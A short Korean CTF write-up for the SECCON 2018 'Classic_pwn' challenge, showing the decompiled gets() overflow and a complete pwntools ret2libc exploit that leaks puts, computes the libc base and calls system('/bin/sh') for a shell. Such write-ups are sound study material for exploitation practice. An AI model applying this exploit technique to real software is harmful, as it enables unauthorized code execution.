Seccon 2018 Classic_pwn Writeup

LeeDoHyun · March 26, 2020

seccon 2018 quals에 나온 문제입니다.

main함수를 봐보면,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-40h]

  puts("Classic Pwnable Challenge");
  printf("Local Buffer >> ", argv);
  gets(&v4);                                    // overflow
  puts("Have a nice pwn!!");
  return 0;
}

아주 심플합니다 gets(&v4)에 오버플로우가 터지는것을 확인할 수 있습니다.

libc파일까지 주기때문에 oneshot으로도 풀 수 있지만 그냥 system함수 호출해서 풀고싶은날입니다.

ex.py

from pwn import *

context.log_level = "debug"
r = process("./classic_pwn")
e = ELF("./classic_pwn")
libc = ELF("./libc-2.23.so")

pr = 0x400753
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
main = e.symbols["main"]

payload = "A"*(0x40 + 0x8)
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendline(payload)

puts_leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
base = puts_leak - libc.symbols["puts"]
system = base + libc.symbols["system"]
binsh = base + libc.search("/bin/sh").next()

info("puts leak = " + hex(puts_leak))
info("base addr = " + hex(base))
info("system addr = " + hex(system))
info("binsh addr = " + hex(binsh))

payload = "A"*(0x40 + 0x8)
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
r.sendline(payload)
r.interactive()

Twitter, Facebook